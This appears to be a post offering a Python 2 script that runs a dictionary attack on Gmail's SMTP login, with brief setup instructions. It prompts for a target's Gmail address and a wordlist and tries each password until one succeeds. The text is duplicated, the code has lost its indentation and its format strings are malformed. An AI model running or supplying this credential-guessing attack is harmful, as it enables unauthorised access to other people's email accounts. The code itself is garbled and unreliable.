You will need to copy and paste the code below into a .py file
You will also need to place your wordlist in the same directory as the py file
here is the code, make sure you're running python 2.x
Code:-
import os
import smtplib
import sys
from colorama import init, Fore
init()
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
os.getcwd
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print (Fore.RED + "[!]File Not Found")
for password in passwfile:
try:
session.login(User,password)
print (Fore.GREEN + " [+] PASSWORD FOUND: %s" % password)
break
except smtplib.SMTPAuthenticationError:
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
except smtplib.SMTPServerDisconnected:
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo
You will also need to place your wordlist in the same directory as the py file
here is the code, make sure you're running python 2.x
Code:-
import os
import smtplib
import sys
from colorama import init, Fore
init()
print (Fore.RED + "\n THIS FUNCTION WILL PERFORM A DICTIONARY ATTACK ON GMAIL'S SMTP SERVER")
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
os.getcwd
User = raw_input (Fore.GREEN + " Enter The Targets Gmail Address: ")
passwfile = raw_input (Fore.GREEN + " Enter The Password List: ")
try:
passwfile = open(passwfile, "r")
except IOError:
print (Fore.RED + "[!]File Not Found")
for password in passwfile:
try:
session.login(User,password)
print (Fore.GREEN + " [+] PASSWORD FOUND: %s" % password)
break
except smtplib.SMTPAuthenticationError:
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo()
except smtplib.SMTPServerDisconnected:
print (Fore.RED + " [!] INCORRECT: {!s".format(password))
session = smtplib.SMTP("smtp.gmail.com", 587)
session.ehlo()
session.starttls()
session.ehlo

